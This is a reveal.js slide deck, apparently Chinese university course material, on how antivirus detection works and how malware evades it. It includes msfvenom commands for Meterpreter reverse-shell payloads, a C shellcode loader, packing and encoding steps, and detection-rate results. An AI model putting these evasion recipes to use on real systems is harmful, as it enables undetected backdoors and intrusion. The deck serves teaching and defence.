<!doctype html>
<html lang="en">

<head>
	<meta charset="utf-8">

	<title>Markdown slide</title>

	<meta name="description" content="A framework for easily creating beautiful presentations using HTML">
	<meta name="author" content="Hakim El Hattab">

	<meta name="apple-mobile-web-app-capable" content="yes">
	<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">

	<meta name="viewport" content="width=device-width, initial-scale=1.0">

	<link rel="stylesheet" href="libs/reveal.js/4.1.3/reset.css">
	<link rel="stylesheet" href="libs/reveal.js/4.1.3/reveal.css">

	
	
	<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css">

	  <!-- highlight Theme -->
  	
	  <link rel="stylesheet" href="libs/highlight.js/11.3.1/styles/monokai.min.css">
	
	
		
	<link rel="stylesheet" href="libs/reveal.js/4.1.3/plugin/chalkboard/style.css">
	
	
	
		<link rel="stylesheet" href="libs/reveal.js/4.1.3/plugin/customcontrols/style.css">
	
	<link rel="stylesheet" href="libs/styles/tasklist.css">



  <!-- Revealjs Theme -->
  
  	<link rel="stylesheet" href="libs/reveal.js/4.1.3/theme/Solarized.css" id="theme">
  
  


  <!-- Revealjs Theme -->
  

 
</head>

<body>
  


  <div class="reveal">

    <!-- Any section element inside of this container is displayed as a slide -->
    <div class="slides">

      


    
    <section>
        <section >
            <style type="text/css">
    p { text-align: left; }
    h2 { text-align: left; }
</style>
<h1>MAL_免杀原理与实践</h1>
<pre><code class="language-sh">最后更新：wildlinux 202003 
测试平台：Kali, Virustotal，VirScan
学习目标：通过本部分内容的学习，认识到杀软局限性，提高在工作生活中对于恶意软件防范能力。
</code></pre>

            </section>
        
            <section >
                <p>[Toc]</p>
<p>免杀</p>
<ul>
<li>
<p>一般是对恶意软件做处理，让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。</p>
</li>
<li>
<p>要做好免杀，就时清楚杀毒软件（恶意软件检测工具）是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。</p>
</li>
<li>
<p>反过来也一样，了解了免杀的工具和技术，你也就具有了反制它的基础。</p>
</li>
</ul>

            </section>
        

    </section>
    



    
    <section>
        <section >
            <h1>1 恶意软件检测机制</h1>
<ul>
<li>1.1 基于特征码的检测
<ul>
<li>1.1.1 特征库举例-Snort</li>
</ul>
</li>
<li>1.2 启发式恶意软件检测</li>
<li>1.3 基于行为的恶意软件检测</li>
</ul>

            </section>
        
            <section >
                <h2>1.1 基于特征码的检测</h2>
<ul>
<li>
<p>简单来说一段特征码就是一段或多段数据。如果一个可执行文件（或其他运行的库、脚本等）包含这样的数据则被认为是恶意代码。</p>
</li>
<li>
<p>AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。</p>
</li>
</ul>

            </section>
        
            <section >
                <h3>1.1.1 特征库举例-Snort</h3>
<ul>
<li>特征库、特征码长什么样子呢？</li>
<li>对于商业AV软件来说，这些就是它的竞争点所在，所以是不公开的。</li>
<li>好在，我们有开源的入侵检测平台Snort，它有类似的机制，检测数据包的特征码，检测已知的网络攻击。</li>
</ul>

            </section>
        
            <section >
                <p>Snort规则，我们就以这个为例简单理解一下特征码。</p>
<pre><code class="language-sh">
示例规则-wuftpd格式化字符串攻击检测规则。content后的就是特征码。

alert tcp $EXTERNAL_NET any -&gt; $HOME_NET 21 
(msg:”FTP EXPLOIT wu-ftpd 2.6.0 site exec format string overflow Linux”; 
flow:to_server, established; content:”|31c031db31c9b046cd8031c031db|”;
reference:bugtraq,1387;reference:cve, CAN-2000-0573;
classtype:attempted-admin;
sid:344;rev:4;)

</code></pre>
<ul>
<li>重要的就是，恶意软件的检测，并不是比对整个文件，</li>
<li>而只能只其中一个或几个片断作为识别依据。</li>
<li>这就是最简单的特征码，或“signature”。</li>
<li>有兴趣的同学可以，搜索”特征码提取”的相关文章深入研究。</li>
</ul>

            </section>
        
            <section >
                <h2>1.2 启发式恶意软件检测</h2>
<p><a href="https://en.wikipedia.org/wiki/Heuristic">启发式Heuristic</a>，简单来说，就是根据些片面特征去推断。通常是因为缺乏精确判定依据。</p>
<p>“When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来主说，就是如果一个软件在干通常是恶意软件干的事，看起来了像个恶意软件，那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件，典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。</p>

            </section>
        
            <section >
                <p>优点：</p>
<ul>
<li>可以检测0-day恶意软件</li>
<li>具有一定通用性</li>
</ul>
<p>缺点：</p>
<ul>
<li>实时监控系统行为，开销稍多</li>
<li>没有基于特征码的精确度高</li>
</ul>

            </section>
        
            <section >
                <h2>1.3 基于行为的恶意软件检测</h2>
<p>最开始提出启发式时，一般也是针对特征扫描的而言的，指通用的、多特征的、非精确的扫描，</p>
<p>所以后来又提出了基于行为的。从理论上讲，基于行为的检测相当于是启发式的一种，或者是加入了行为监控的启发式。</p>

            </section>
        

    </section>
    



    
    <section>
        <section >
            <h1>2 免杀技术(Evading AV)综述</h1>

            </section>
        
            <section >
                <p>就常见恶意软件而言，一般AV的检出率为40%-98%。就算你用了最好的AV，恶意软件依然有1/50的概率通过检测。这个概率还可以，貌似多试几种恶意软件就可以了。那免杀的方法当然是针对检测技术的。</p>

            </section>
        
            <section >
                <p>所以总体技术有：</p>
<ul>
<li>改变特征码
<ul>
<li>如果你手里只有EXE
<ul>
<li>加壳：压缩壳 加密壳</li>
</ul>
</li>
<li>有shellcode(像Meterpreter）
<ul>
<li>用encode进行编码</li>
<li>基于payload重新编译生成可执行文件</li>
</ul>
</li>
<li>有源代码
<ul>
<li>用其他语言进行重写再编译（veil-evasion）</li>
</ul>
</li>
</ul>
</li>
</ul>

            </section>
        
            <section >
                <ul>
<li>改变行为
<ul>
<li>通讯方式
<ul>
<li>尽量使用反弹式连接</li>
<li>使用隧道技术</li>
<li>加密通讯数据</li>
</ul>
</li>
<li>操作模式
<ul>
<li>基于内存操作</li>
<li>减少对系统的修改</li>
<li>加入混淆作用的正常功能代码</li>
</ul>
</li>
</ul>
</li>
</ul>

            </section>
        
            <section >
                <p>免杀就是让安插的后门不被AV软件发现。除了直接使用现有后门软件外，还有一些方式，在实际中也有用。</p>
<ul>
<li>非常规方法
<ul>
<li>使用一个有漏洞的应用当成后门，编写攻击代码集成到如MSF中。</li>
<li>使用社工类攻击，诱骗目标关闭AV软件。</li>
<li>纯手工打造一个恶意软件</li>
</ul>
</li>
</ul>

            </section>
        
            <section >
                <ul>
<li>留后门的思路是这样的：
<ul>
<li>你写一个有漏洞的软件，开一个服务端口。这个软件本身没问题。然后如果这个端口被攻击，就可以获得系统控制权。
<ul>
<li>通过meterpreter这种驻留内存的payload，AV软件很难检出。</li>
<li>这样的小漏洞程序大家也有做，自己攻击自己还是很容易的。</li>
</ul>
</li>
<li>当然最好的方法，还是手工打造，自己从头编一个，没有通用工具的特征，AV软件也就杀不出来了。
<ul>
<li>从头打造当然是相当有难度的，但我们可以利用Metasploit已有的payload来半手工的打造，效果也不错</li>
</ul>
</li>
</ul>
</li>
</ul>

            </section>
        
            <section >
                <p>好多盗版、破解、加脱壳软件都会要求你关闭AV。或者的确只能在关闭AV的情况下才能应用。如果有个软件提示你需要关闭AV，你会…一定不吗?</p>

            </section>
        

    </section>
    



    
    <section>
        <section >
            <h1>3 免杀效果实测</h1>

            </section>
        
            <section >
                <ul>
<li>本部分内容均基于Kali Linux,以meterpreter为样本恶意软件来实践。</li>
</ul>
<table>
<thead>
<tr>
<th>序号</th>
<th>免杀方式</th>
<th>AV</th>
<th>测试主机OS/AV</th>
<th>VirusTotal</th>
<th>VirScan</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>msfvenom直接生成</td>
<td>关闭</td>
<td>Win7_64+MSSE</td>
<td>46/57</td>
<td>16/39</td>
</tr>
<tr>
<td>2</td>
<td>msfvenom 编码一次</td>
<td>关闭</td>
<td>Win7_64+MSSE</td>
<td>45/57</td>
<td>15/39</td>
</tr>
<tr>
<td>3</td>
<td>msfvenom 多次编码</td>
<td>关闭</td>
<td>Win7_64+MSSE</td>
<td>45/57</td>
<td>16/39</td>
</tr>
<tr>
<td>4</td>
<td>Veil-evasion</td>
<td>开启</td>
<td>Win7_64+MSSE</td>
<td>19/58</td>
<td>5/39</td>
</tr>
<tr>
<td>5</td>
<td>C+shellcode</td>
<td>开启</td>
<td colspan="2">Win10+腾讯管家/Bitdefender</td>
<td>1/39</td>
</tr>
<tr>
<td>6</td>
<td colspan="3">UPX压缩壳</td>
<td>40/57</td>
<td>17/39</td>
</tr>
<tr>
<td>7</td>
<td colspan="3">Hyperion</td>
<td>18/57</td>
<td>8/39</td>
</tr>
</tbody>
</table>

            </section>
        
            <section >
                <h2>3.1 恶意代码生成工具</h2>
<p>恶意代码功能也是重复类似的，程序员最不屑于做的就是同样的代码写多次。所以就产生了恶意代码的生成工具，可以用原始的功能代码按需组合生成不同的可执行文件，现加上不同的免杀手段。常见的如msfvenom，veil-evasion,backdoor-factory等。</p>
<p>对于这种情况，AV厂商当然是要尽量找到如msfvenom<strong>生成</strong>软件的特征，而不是搜集所有生成<strong>结果</strong>的特征了。其结果就是只要msfvenom生成的exe就会检测到，不管你是用了什么编码器，迭代编码的多少次。</p>
<p>在免杀过程中，我们就会使用这样的工具来生成恶意代码，并测试其免杀效果。</p>

            </section>
        
            <section >
                <h2>3.2 免杀效果的评价</h2>
<h3>3.2.1 VirusTotal、Virscan</h3>
<p>集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。</p>
<p>如果上传的程序所有软件都杀不出来，virustotal就会把它交给AV厂商们了，然后…在杀毒库更新前，你还可以使用一段时间。</p>
<p>Virustatol不包括各AV软件的行为分析部分(behavioral analysis)。但它自己开发了自己的行为分析引擎。太慢，还没试用。</p>
<blockquote>
<p><a href="https://www.virustotal.com/">https://www.virustotal.com/</a>
<a href="http://www.virscan.org/">http://www.virscan.org/</a></p>
</blockquote>

            </section>
        
            <section >
                <h3>3.2.2 免杀效果参考基准</h3>
<p>msfvenom直接生成meterpreter可执行文件，检出率为46/57。57个扫描引擎中有46中把它识别为病毒。我们以此为参照，看经过免杀处理的应用在Virustotal上的识别率高了还是低了。</p>
<pre><code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.136 PORT=443 -f exe &gt; met.exe
</code></pre>
<pre><code>File name: met.exe
Detection ratio: 46/57
</code></pre>
<blockquote>
<p>还有一种测试方向。就是取一个非恶意代码为样本，进行各种编码或加壳，然后提交检测。其目的是为了验证，检测软件是否是在检测“编码器”呀“加壳工具”自身。</p>
</blockquote>

            </section>
        
            <section >
                <h2>3.3 Msfvenom使用编码器</h2>
<p>Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然，所有AV厂家都盯着呢，一有新编码算法，马上就得加到特征库里呀。</p>
<p>编码后呢，按理论上讲，编码会降低检出率，大不了多编码几次，总会检不出来。</p>
<pre><code class="language-sh"># msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe &gt; met-encoded.exe
</code></pre>
<p>结果，基本没变化。</p>
<pre><code class="language-sh">File name: met-encoded.exe
Detection ratio: 45/57
</code></pre>

            </section>
        
            <section >
                <p>多编码几次呢，依然没变化</p>
<pre><code class="language-sh">
# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 10 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe &gt; met-encoded10.exe

</code></pre>
<p>略有起伏，没实质变化。</p>
<pre><code class="language-sh">
File name: met-encoded10.exe
Detection ratio: 45/57

</code></pre>

            </section>
        
            <section >
                <p>原因呢？AV厂商也不傻，人家研究的是编码器本身，shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中，只要盯住这部分就可以了。</p>
<p>还有模板。模板就是msfvenom用来生成最终Exe的那个壳子exe文件，msfvenom会以固定的模板生成exe，所有它生成的exe，如果使用默认参数或模板，也有一定的固定特征。曾经有一段时间，只要换了模板，就可以对所有AV免杀。现在这招不行了。所以一般来说AV厂商会针对其使用的模板来生成特征码，这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀，就要使用原生的模板。</p>
<blockquote>
<p>如果写成一个库，再用java调用呢？思路有很多。
大家可以继研究下其他编码器或不同编码器组合的效果</p>
</blockquote>

            </section>
        
            <section >
                <h2>3.4 Veil-Evasion</h2>
<p><a href="https://www.veil-framework.com/framework/veil-evasion/">Veil-Evasion</a>是一个免杀平台，与Metasploit有点类似，在Kalil软件库中有，但默认没装。免杀效果比较好。官网上有视频教程。</p>
<p>结果呢，生成了一个，上传测试，virustoal检出为19/57。</p>
<p>Veil-evasion是用其他语言如c,c#,phython,ruby,go,powershell等重写了meterperter，然后再通过不同方式编译成exe，共性特征比较少。源代码大家全都可以看得到，可以作为进一步学习的参考。</p>

            </section>
        
            <section >
                <pre><code class="language-sh">========================================================================
 Veil-Evasion | [Version]: 2.28.1
=========================================================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================


 [*] Executable written to:这是EXE /var/lib/veil-evasion/output/compiled/payload7.exe

 Language:		c
 Payload:		c/meterpreter/rev_tcp
 Required Options:      COMPILE_TO_EXE=y  LHOST=192.168.20.136  LPORT=4444
 Payload File:这是源代码		/var/lib/veil-evasion/output/source/payload7.c
 Handler File:		/var/lib/veil-evasion/output/handlers/payload7_handler.rc

</code></pre>
<p>生成这些源代码的python源文件也可以看到:</p>
<pre><code class="language-sh">root@Kali:/usr/share/veil-evasion/modules/payloads/c/meterpreter/rev_tcp.py

</code></pre>

            </section>
        
            <section >
                <p>virscan呢，5/39,我们看看它生成的报告：</p>
<pre><code class="language-sh">VirSCAN.org Scanned Report :
Scanned time   : 2016-11-04 16:20:04
Scanner results: 12%的杀软(5/39)报告发现病毒 

</code></pre>

            </section>
        
            <section >
                <h2>3.5 C语言调用Shellcode</h2>
<p>这就是一个半手工打造恶意软件的例子。</p>
<p>下面指令会生成一个c语言格式的Shellcode数组。</p>
<pre><code class="language-sh"># msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.136 LPORT=443 -f c
</code></pre>
<p>把这个数组拿来编写一个程序。如下</p>

            </section>
        
            <section >
                <h3>3.5.1 Linux平台交叉编译Windows应用</h3>
<p><img src="images/MAL_C_call_shellcode.png" alt=""></p>
<ul>
<li>生成的met.exe复制到Win7_64实测可以回连到msfconsole</li>
<li>结合使用不同编码器效果更好
<code>msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=x.x.x.x -f c</code>生成后<mark>WindowsDefender+腾讯管家</mark>不查杀。</li>
</ul>

            </section>
        
            <section >
                <h3>3.5.2 VisualStudio编译Windows应用</h3>
<blockquote>
<p>本部分测试使用的Win10平台安装了Visual Studio2017，进行的后门的生成。
<a href="https://www.visualstudio.com/downloads/">https://www.visualstudio.com/downloads/</a> 可免费下载安装VisualStudio2017 Community版</p>
</blockquote>
<pre><code class="language-c">
// callshellcode.cpp : 定义控制台应用程序的入口点。
//

#include &quot;stdafx.h&quot;
#include &lt;windows.h&gt;
#include &lt;winbase.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;

//192.168.6.129 443 reverse_tcp
const char met[] =
&quot;\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30&quot;
&quot;此处省去若干行&quot;
&quot;\x53\xff\xd5&quot;;

int main()
{
	DWORD old = 0;
	BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &amp;old);
	INT32 * addr;
	addr =(INT32*) &amp;met;

	__asm;
	{
		call addr;
	}
	return 0;
}


</code></pre>

            </section>
        
            <section >
                <p>操作流程如图：</p>
<p><img src="images/wincallshellcode.jpg" alt="c_call_shellcode"></p>
<ul>
<li>
<p>virsan.org上7/39个AV能检出了</p>
</li>
<li>
<p>进一步优化</p>
<ul>
<li>比方说自己把数组加个密放在最开始，在代码中再解密啥的，</li>
<li>使用java或其他语言格式等编译为exe</li>
</ul>
</li>
</ul>

            </section>
        
            <section >
                <blockquote>
<p>思考：
其实这个实验还可以做下去（1）判断杀毒软件是根据<strong>调用数组</strong>这样的非常规操作，还是根据<strong>数组内容</strong>来识别出恶意代码的的。如果是<strong>调用数组</strong>这个操作有问题，我们就需要一个exe，所其中的代码段替换为shellcode;如果是<strong>数据内容</strong>实识别，那更简单些，我们自己对它加个密，动态解密。
这个方法其实很强大，你本质上可以把任意收集到的Shellcode通过这种方式来调用。而网上可以搜集到大量的功能强大的Shellcode。</p>
</blockquote>

            </section>
        
            <section >
                <h2>3.6 加壳</h2>
<ul>
<li>
<p>加壳的全称应该是可执行程序资源压缩，压缩后的程序可以直接运行。</p>
</li>
<li>
<p>加壳的另一种常用的方式是在二进制的程序中植入一段代码，在运行的时候优先取得程序的控制权，之后再把控制权交还给原始代码，这样做的目的是为了隐藏程序真正的OEP（入口点，防止被破解）。大多数病毒就是基于此原理。</p>
</li>
<li>
<p>加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析，以达到保护壳内原始程序以及软件不被外部程序破坏，保证原始程序正常运行。</p>
</li>
<li>
<p>这种技术也常用来保护软件版权，防止软件被破解。但对于病毒，加壳可以绕过一些杀毒软件的扫描，从而实现它作为病毒的一些入侵或破坏的一些特性。</p>
</li>
<li>
<p>MSF的编码器使用类似方法，对shellcode进行再编码。</p>
</li>
</ul>

            </section>
        
            <section >
                <p>从技术上分壳分为：</p>
<ul>
<li>压缩壳
<ul>
<li>减少应用体积，如ASPack，UPX</li>
</ul>
</li>
<li>加密壳
<ul>
<li>版权保护，反跟踪。如ASProtect,Armadillo</li>
</ul>
</li>
<li>虚拟机
<ul>
<li>通过类似编译手段，将应用指令转换为自己设计的指令集。如VMProtect, Themida</li>
</ul>
</li>
</ul>

            </section>
        
            <section >
                <h3>3.6.1 压缩壳<a href="https://github.com/upx/upx/tree/v3.91">UPX</a></h3>
<pre><code class="language-sh"># upx met_raw.exe -o met_raw.upxed.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91        Markus Oberhumer, Laszlo Molnar &amp; John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    101678 -&gt;     56110   55.18%    win32/pe     met.upxed.exe                 

Packed 1 file.
# 

</code></pre>
<p>加壳后检40/57。作为流行这么多年的加壳软件，也是可理解的。</p>

            </section>
        
            <section >
                <h3>3.6.2 加密壳Hyperion</h3>
<p>还有一种，其实也算加壳，最早在2012年<a href="https://www.exploit-db.com/docs/18849.pdf">Hyperion</a> 文献中就有描述，也有软件实现。</p>
<p>在Kali里有hyperion的实现</p>
<pre><code>root@:/usr/share/veil-evasion/pyherion.py  不过是Veil-evasion调用针对python进行处理的，但veil不经过这个处理，也能保过。
root@:/usr/share/veil-evasion/tools/hyperion 这个目录是Windows下的可执行文件，可以复制到win，可以用。有源代码。或者在Linux下,用Wine来执行windows应用。
root@:/usr/share/veil-evasion/tools/hyperion/#wine hyperion.exe -v met_raw.exe met_raw_hyed.exe
</code></pre>
<p>–</p>
<p>毕竟是知名的加密软件。别人测试的结果：</p>
<pre><code>File name: met_raw.hyed.exe
Detection ratio: 18/58
</code></pre>
<p>virscan给出了8/39的检测结果。</p>
<blockquote>
<p>这种方法还是会被一些AV检测出，原因就在于加密过的代码段的熵太高。这可以用一种非常简单的方法处理，在每个字节后跟一个空字节，解密程序只要忽略空字节就可以了。有人测试过这种方法可以达到免检(2016)。不过没有工具可用，自己实现起来有难度，而且空间要求高。</p>
</blockquote>
<h3>3.6.3 扩展阅读</h3>
<p>加壳软件有很多商业版，主要目标是为了版权保护，防止逆向分析。更多内容见wiki相关词条。</p>
<p><a href="https://en.wikipedia.org/wiki/Executable_compression">https://en.wikipedia.org/wiki/Executable_compression</a></p>

            </section>
        
            <section >
                <h3>3.6.4 同学案例</h3>
<p><a href="https://www.cnblogs.com/SANFENs/p/12560610.html">backdoorfactory</a>
<a href="https://www.cnblogs.com/xiannvyeye/p/12552180.html">ruby+本地编译</a>
<a href="https://mp.weixin.qq.com/s/KhX9YPqmvij54pTXpcS9bg">Python加载shellcode免杀</a>
<a href="https://blog.csdn.net/qq_34444097/article/details/79573798">shellter</a>
<a href="https://github.com/clinicallyinane/shellcode_launcher/">shellcode_launcher</a>
<a href="https://github.com/k8gege/scrun">ScrunHex</a></p>

            </section>
        
            <section >
                <h2>3.7 行为分析</h2>
<p>VirScan有行为分析引擎，会给出一个安全评分。越高越安全。</p>
<p>上传完目标文件后，等待一会儿，（1）重新上传，会提示你该文件已经分析过了，可直接查看报告；（2）或点击左侧的“查看报告”，从列表中找出你上传文件的报告页面。如下图，再点击“文件行为分析”。</p>
<p>![](images/VirSCAN_ Behavior_Analysis.png)</p>

            </section>
        
            <section >
                <p>下图分别是经过加密壳处理和压缩壳处理的两个文件的行为分析结果。</p>
<p>![](images/VirSCAN_ Behavior_Analysis2.png)</p>

            </section>
        
            <section >
                <p>在真正的实践中，以下技术也有可能被应用到。本文将不涉及其细节。</p>
<ul>
<li>改变行为
<ul>
<li>通讯方式
<ul>
<li>尽量使用反弹式连接：meterpreter本身即主要使用反弹连接</li>
<li>使用隧道技术：如dns2tcp、iodine可将流量封闭为DNS协议包</li>
<li>加密通讯数据：如使用reverse-https进行转发</li>
</ul>
</li>
<li>操作模式
<ul>
<li>基于内存操作：meterpreter是基于内存操作的操作的</li>
<li>减少对系统的修改</li>
</ul>
</li>
</ul>
</li>
</ul>

            </section>
        
            <section >
                <h2>3.8 小结</h2>
<ul>
<li>
<p>简单说，做一个AV杀不出来的后门真不难。</p>
</li>
<li>
<p>veil-evasion和半手工编程当前免杀效果最好。基本可以绕过主流AV软件。</p>
</li>
<li>
<p>已有的编码、加壳、加密软件，需要把解压、解密代码加入到可执行文件中，这些代码片断会被检测出。
加壳、加密的思路+半手工的payload可能是一种可行的方式，但需要更多测试。</p>
</li>
<li>
<p>最牛的当然是自己开发，开发这样通用的工具可能工作量还是非常大的，好在有前人的工作可以参考像[kkrunchy]</p>
<ul>
<li>(<a href="https://github.com/farbrausch/fr_public/tree/master/kkrunchy">https://github.com/farbrausch/fr_public/tree/master/kkrunchy</a>)</li>
<li>还有HackingTeam泄露出来的<a href="https://github.com/hackedteam/core-packer%EF%BC%89">core-packer</a>。</li>
</ul>
</li>
</ul>

            </section>
        
            <section >
                <table>
<thead>
<tr>
<th style="text-align:left">序号</th>
<th style="text-align:left">免杀方式</th>
<th style="text-align:left">杀软</th>
<th style="text-align:left">测试主机OS/AV</th>
<th style="text-align:left">VirusTotal</th>
<th style="text-align:left">VirScan</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">1</td>
<td style="text-align:left">msfvenom直接生成</td>
<td style="text-align:left">关</td>
<td style="text-align:left">Win7_64+MSSE</td>
<td style="text-align:left">46/57</td>
<td style="text-align:left">16/39</td>
</tr>
<tr>
<td style="text-align:left">2</td>
<td style="text-align:left">msfvenom 编码一次</td>
<td style="text-align:left">关</td>
<td style="text-align:left">Win7_64+MSSE</td>
<td style="text-align:left">45/57</td>
<td style="text-align:left">15/39</td>
</tr>
<tr>
<td style="text-align:left">2</td>
<td style="text-align:left">msfvenom 多次编码</td>
<td style="text-align:left">关</td>
<td style="text-align:left">Win7_64+MSSE</td>
<td style="text-align:left">45/57</td>
<td style="text-align:left">16/39</td>
</tr>
<tr>
<td style="text-align:left">2</td>
<td style="text-align:left">Veil-evasion</td>
<td style="text-align:left">开</td>
<td style="text-align:left">Win7_64+MSSE</td>
<td style="text-align:left">19/58</td>
<td style="text-align:left">5/39</td>
</tr>
<tr>
<td style="text-align:left">2</td>
<td style="text-align:left">C+shellcode</td>
<td style="text-align:left">开</td>
<td style="text-align:left" colspan="2">Win10+腾讯管家/Bitdefender</td>
<td style="text-align:left">1/39</td>
</tr>
<tr>
<td style="text-align:left">2</td>
<td style="text-align:left" colspan="3">UPX压缩壳</td>
<td style="text-align:left">40/57</td>
<td style="text-align:left">17/39</td>
</tr>
<tr>
<td style="text-align:left">2</td>
<td style="text-align:left" colspan="3">Hyperion</td>
<td style="text-align:left">18/57</td>
<td style="text-align:left">8/39</td>
</tr>
<tr>
<td style="text-align:left">…</td>
<td style="text-align:left" colspan="4">…</td>
</tr>
</tbody>
</table>

            </section>
        

    </section>
    



    
    <section>
        <section >
            <h1>4 恶意软件防范措施</h1>

            </section>
        
            <section >
                <p>讲这么多恶意软件免杀原理，是为了让大家认识到其危险性。亲自动手实践了才能体会它潜在的在危害。接下来大家一定想知道，如何才能防止被恶意软件侵害，判断自己的系统是不是被安装了恶意软件。</p>
<p>从大家的实践报告来看，大家最依赖的还是<mark>杀软</mark>和<mark>防火墙</mark>。</p>

            </section>
        
            <section >
                <p>杀软</p>
<ul>
<li>我想大家对于其能力应该有清醒的认识了。随便一个同学就可以制作出杀软杀不出的后门。</li>
</ul>

            </section>
        
            <section >
                <p>防火墙呢</p>
<ul>
<li>恶意软件可以通过DLL注入（进程迁移）技术以任何正常系统进行名义运行。防火墙提示时，你会禁止系统进行联网吗？有兴趣的同学可以学习学长的实践<a href="http://git.oschina.net/wildlinux/NetSec/blob/master/SampleReports/20135321_%E4%BD%99%E4%BD%B3%E6%BA%90_%E5%85%8D%E8%80%83%E6%8A%A5%E5%91%8A%20_%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93%EF%BC%88DLL%EF%BC%89%E7%9A%84%E5%BB%BA%E7%AB%8B%E4%BB%A5%E5%8F%8A%E5%AE%9E%E7%8E%B0%E6%B3%A8%E5%85%A5.md">DLL注入</a></li>
<li>还记得在“bof有逆向基础”实践中我们修改机器指令的环节吗。本质上你可以编辑任何可执行文件把其中一段代码修改为后门。恶意代码可以IE中，也可以在WORD中。你会禁止你熟悉的程序联网吗？你有使用MD5校验系统程序是否被修改过的习惯吗？</li>
</ul>

            </section>
        
            <section >
                <h2>4.1 思想上</h2>
<ol>
<li>清楚自己操作的<strong>风险度</strong></li>
<li>清楚自己操作目标的<strong>可信度</strong></li>
</ol>

            </section>
        
            <section >
                <h2>4.2 行为上</h2>
<ol>
<li>在可信网站下载应用。大部分非官方下载站点都存在绑捆、夹带等准恶意行为。包括中国IT几巨头。</li>
<li>理解官网上MD5值的用途，并使用其校验下载内容。</li>
<li>使用正版、官方、开源软件。</li>
</ol>
<p>–</p>
<h2>4.3 具体技术手段</h2>
<ol>
<li>安装可信的防病毒软件并即时更新</li>
<li>理解并管理好防火墙进出站规则</li>
<li>会用工具监控进程操作：如文件操作、注册表操作、网络连接与通讯内容</li>
<li>会使用沙箱技术分析可疑软件</li>
<li>会使用沙箱隔离可能受到攻击的应用</li>
</ol>
<hr>
<p>#参考文献：</p>

            </section>
        
            <section >
                <p><a href="http://www.freebuf.com/sectool/102595.html">http://www.freebuf.com/sectool/102595.html</a>
<a href="https://00rules.wordpress.com/2016/06/24/antivirus-software-how-it-works-and-how-to-evade-it/">https://00rules.wordpress.com/2016/06/24/antivirus-software-how-it-works-and-how-to-evade-it/</a></p>

            </section>
        
            <section >
                <p>安装veil-evasion（参考安装教程）
使用代理安装的，有些包会下载安装失败，可以提前安装这些包，指令如下：（可以不做这一步）</p>
<pre><code class="language-sh">
# apt-get install libncurses5*
# apt-get install libavutil55*
# apt-get install gcc-mingw-w64*
# apt-get install wine32
再使用如下指令进行后续安装

# git clone https://github.com/Veil-Framework/Veil
# cd Veil/setup/
# ./setup.sh 

</code></pre>

            </section>
        

    </section>
    


    </div>


  </div>

  	
	<script src="libs/reveal.js/4.1.3/reveal.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/zoom/zoom.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/notes/notes.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/search/search.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/markdown/markdown.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/highlight/highlight.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/menu/menu.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/math/math.js"></script>

	<script src="libs/reveal.js/4.1.3/plugin/fullscreen/plugin.js"></script>
  
  	<script src="libs/reveal.js/4.1.3/plugin/animate/plugin.js"></script>
  	<script src="libs/reveal.js/4.1.3/plugin/animate/svg.min.js"></script>
  
  	<script src="libs/reveal.js/4.1.3/plugin/anything/plugin.js"></script>
	  <script src="libs/reveal.js/4.1.3/plugin/anything/Chart.min.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/anything/d3/d3.v3.min.js"></script>				
	<script src="libs/reveal.js/4.1.3/plugin/anything/d3.patch.js"></script>			
	<script src="libs/reveal.js/4.1.3/plugin/anything/d3/queue.v1.min.js"></script>		
	<script src="libs/reveal.js/4.1.3/plugin/anything/d3/topojson.v1.min.js"></script>		
	<script src="libs/reveal.js/4.1.3/plugin/anything/function-plot.js"></script>

 <!--	<script src="libs/reveal.js/4.1.3/plugin/audio-slideshow/plugin.js"></script>  -->
<!--	<script src="libs/reveal.js/4.1.3/plugin/audio-slideshow/recorder.js"></script>-->
<!--	<script src="libs/reveal.js/4.1.3/plugin/audio-slideshow/RecordRTC.js"></script>-->

<script src="libs/reveal.js/4.1.3/plugin/chalkboard/plugin.js"></script>
	<script src="libs/reveal.js/4.1.3/plugin/customcontrols/plugin.js"></script>
